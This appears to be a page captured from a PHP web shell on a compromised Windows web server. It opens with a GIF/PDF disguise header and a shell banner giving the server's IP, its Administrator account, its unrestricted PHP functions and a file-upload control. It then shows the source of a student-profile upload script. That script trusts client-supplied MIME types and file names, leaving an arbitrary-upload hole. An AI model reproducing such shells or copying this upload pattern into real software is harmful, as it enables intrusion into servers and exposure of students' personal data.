GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/StudentProfile/ |
Upload File : |
<? // StudentProfileVerify.phpinc if ($TRACK != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")<ol>\n"; if (dc()) echo "<b>",basename(__FILE__),"</b>: ",__FILE__."<br>\n"; #setDebugOn(); $f_error = false; $f_studentprofileId = formValue('studentprofileId'); $f_studentprofileImage = $_FILES['f_studentprofileImage']['name']; $f_studentprofileImage_Current = formValue('studentprofileImage_Current'); $f_studentprofileImage_Original = formValue('studentprofileImage_Original'); $f_studentprofileCredential = formValue('studentprofileCredential'); $f_studentprofilePast = formValue('studentprofilePast'); $f_studentprofileFuture = formValue('studentprofileFuture'); $f_studentprofileEmail1 = formValue('studentprofileEmail1'); $f_studentprofileEmail2 = formValue('studentprofileEmail2'); $f_studentprofilePhone1 = formValue('studentprofilePhone1'); $f_studentprofilePhone2 = formValue('studentprofilePhone2'); $f_studentprofilePhoneType1 = formValue('studentprofilePhoneType1'); $f_studentprofilePhoneType2 = formValue('studentprofilePhoneType2'); $f_studentprofilePrimaryCampus = formValue('studentprofilePrimaryCampus'); if (dc()) { echo basename(__FILE__),": ",__LINE__,"<br>\n"; echo "\$f_studentprofileId=".$f_studentprofileId."<br>\n"; echo "\$f_studentprofileCredential=".$f_studentprofileCredential."<br>\n"; echo "\$f_studentprofileImage=".$f_studentprofileImage."<br>\n"; echo "\$f_studentprofileImage_Current=".$f_studentprofileImage_Current."<br>\n"; echo "\$f_studentprofileImage_Original=".$f_studentprofileImage_Original."<br>\n"; echo "\$f_studentprofilePast=".$f_studentprofilePast."<br>\n"; echo "\$f_studentprofileFuture=".$f_studentprofileFuture."<br>\n"; echo "\$f_studentprofileEmail1=".$f_studentprofileEmail1."<br>\n"; echo "\$f_studentprofileEmail2=".$f_studentprofileEmail2."<br>\n"; echo "\$f_studentprofilePhone1=".$f_studentprofilePhone1."<br>\n"; echo "\$f_studentprofilePhone2=".$f_studentprofilePhone2."<br>\n"; echo "\$f_studentprofilePhoneType1=".$f_studentprofilePhoneType1."<br>\n"; echo "\$f_studentprofilePhoneType2=".$f_studentprofilePhoneType2."<br>\n"; echo "\$f_studentprofilePrimaryCampus=".$f_studentprofilePrimaryCampus."<br>\n"; } if ($f_studentprofileImage == '' && $f_studentprofileImage_Current != '') { $f_studentprofileImage = $f_studentprofileImage_Current; } // Verify f_studentprofileImage. switch ($_FILES['f_studentprofileImage']['error']) { case 0: // UPLOAD_ERR_OK Value: 0; There is no error, the file uploaded with success. $f_error = false; // There was no upload error. $uploaddir = $_SESSION['DIRECTORY_ROOT'].$_SESSION['UPLOAD_DIR']."StudentProfile/".$_SESSION['userStudentId']."/"; #echo '<i>'.__FILE__.':'.__LINE__.':</i> '."\$uploaddir=".$uploaddir."<br>\n"; $saveFile = file_exists($uploaddir); #echo '<i>'.__FILE__.':'.__LINE__.':</i> '."file_exists($uploaddir)="; if ($saveFile) { echo "true"; } else { echo "false"; } echo "<br>\n"; //mk_dir('d:/test2'); if (!$saveFile) { $saveFile = mk_dir($uploaddir); } #mk_dir($uploaddir); //echo '<i>'.__FILE__.':'.__LINE__.':</i> '."\$saveFile="; if ($saveFile) { //echo "true"; } else { //echo "false"; } //echo "<br>\n"; //echo '<i>'.__FILE__.':'.__LINE__.':</i> '."\$_FILES['f_studentprofileImage']['type']=".$_FILES['f_studentprofileImage']['type']."<br>\n"; if ($saveFile) { if ($_FILES['f_studentprofileImage']['type'] == 'image/gif' || $_FILES['f_studentprofileImage']['type'] == 'image/jpeg' || $_FILES['f_studentprofileImage']['type'] == 'image/png' || $_FILES['f_studentprofileImage']['type'] == 'image/pjpeg') { // File is of correct type. $uploadfile = $uploaddir.basename($_FILES['f_studentprofileImage']['name']); if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ",'<i>'.__FILE__.':'.__LINE__.':</i> '.__FILE__.":".__LINE__.": \$uploaddir=".$uploaddir."<br>\n"; echo '<i>'.__FILE__.':'.__LINE__.':</i> '.__FILE__.":".__LINE__.": \$uploadfile=".$uploadfile."<br>\n"; } #echo '<i>'.__FILE__.':'.__LINE__.':</i> '."move_uploaded_file(".$_FILES['f_studentprofileImage']['tmp_name'].", ".$uploadfile.")<br>\n"; if (move_uploaded_file($_FILES['f_studentprofileImage']['tmp_name'], $uploadfile)) { // Success $f_studentprofileImage = basename($_FILES['f_studentprofileImage']['name']); $f_studentprofileImage_Current = $f_studentprofileImage; } else { // Fail $f_error = true; $f_studentprofileImage = $f_studentprofileImage_Current; $f_message = '<p><span class="normal error"><span class="errorbold">The website has experienced an error: The file cannot be saved.</span><br>Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.</span>'; } } else { // File is not of correct type. $f_error = true; $f_studentprofileImage = $f_studentprofileImage_Current; $f_studentprofileImageError = '<span class="error">Image upload error. The file '.$_FILES['f_studentprofileImage']['name'].' is not of type: image/gif, image/jpeg, image/pjpeg, or image/png.</span>'; if ($f_studentprofileImage_Current != '') { $f_studentprofileImageError .= ' <span class="error">The image '.$f_studentprofileImage_Current.' was retained.</span>'; } //echo "\$f_studentprofileImageError=".$f_studentprofileImageError."<br>\n"; } } else { // Unable to create or detect directory. $f_error = true; $f_studentprofileImage = $f_studentprofileImage_Current; $f_message = '<p><span class="normal error"><span class="errorbold">The website has experienced an error: The upload directory cannot be created.</span><br>Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.</span>'; } break; case 1: // UPLOAD_ERR_INI_SIZE Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini. $f_error = true; $f_studentprofileImageError = ' <span class="error">Image upload error. The image '.$_FILES['f_studentprofileImage']['name'].' was too large. (php.ini)</span>'; break; case 2: // UPLOAD_ERR_FORM_SIZE Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form. $f_error = true; $f_studentprofileImageError = ' <span class="error">Image upload error. The image '.$_FILES['f_studentprofileImage']['name'].' was too large. (HTML)</span>'; break; case 3: // UPLOAD_ERR_PARTIAL Value: 3; The uploaded file was only partially uploaded. $f_error = true; $f_studentprofileImageError = ' <span class="error">Image upload error. The image '.$_FILES['f_studentprofileImage']['name'].' was only partially uploaded.</span>'; break; case 4: // UPLOAD_ERR_NO_FILE Value: 4; No file was uploaded. This only means that no file was selected for upload. $f_error = false; $f_studentprofileImage = $f_studentprofileImage_Current; $f_studentprofileImageError = ' <span class="error">Image upload error. No file was uploaded.</span>'; break; case 6: // UPLOAD_ERR_NO_TMP_DIR Value: 6; Missing a temporary folder. Introduced in PHP 4.3.10 and PHP 5.0.3. $f_error = true; $f_studentprofileImageError = '<p><span class="normal error"><span class="errorbold">The website has experienced an error: Missing a temporary folder.</span><br>Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.</span>'; break; case 7: // UPLOAD_ERR_CANT_WRITE Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0. $f_error = true; $f_studentprofileImageError = '<p><span class="normal error"><span class="errorbold">The website has experienced an error: Failed to write file to disk.</span><br>Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.</span>'; break; case 8: // UPLOAD_ERR_EXTENSION Value: 8; File upload stopped by extension. Introduced in PHP 5.2.0. $f_error = true; $f_studentprofileImageError = ' <span class="error">Image upload error. The image '.$_FILES['f_studentprofileImage']['name'].' upload stopped by extension.</span>'; break; default: $f_error = true; $f_studentprofileImageError = '<p><span class="normal error"><span class="errorbold">The website has experienced an error: UNKNOWN ERROR #'.$_FILES['f_studentprofileImage']['error'].'.</span><br>Please notify the website administrator <a href="mailto:'.$_SESSION['websiteAdministratorEmail'].'">'.$_SESSION['websiteAdministratorName'].'</a> at '.$_SESSION['websiteAdministratorEmail'].'.</span>'; break; } if ($f_studentprofilePhoneType1 == "????") { $f_studentprofilePhoneType1 = ''; } if ($f_studentprofilePhoneType2 == "????") { $f_studentprofilePhoneType2 = ''; } if ($f_error && $f_studentprofileImage_Current != '') { $f_studentprofileImage = $f_studentprofileImage_Current; $f_studentprofileImageError .= ' <span class="error">The image '.$f_studentprofileImage_Current.' was retained.</span>'; } if ($f_studentprofilePrimaryCampus == '????') { $f_studentprofilePrimaryCampus = ''; } if (dc()) { if (isset($_FILES)) { ksort($_FILES); echo '<span style="color:red;">$_FILES='; foreach ( $_FILES as $key => $value ) { if (!is_array($value)) { } else { print_r($value); } } echo "</span>: ".basename(__FILE__),": ",__LINE__,"<br>\n"; } } debugTrackEnd(); ?>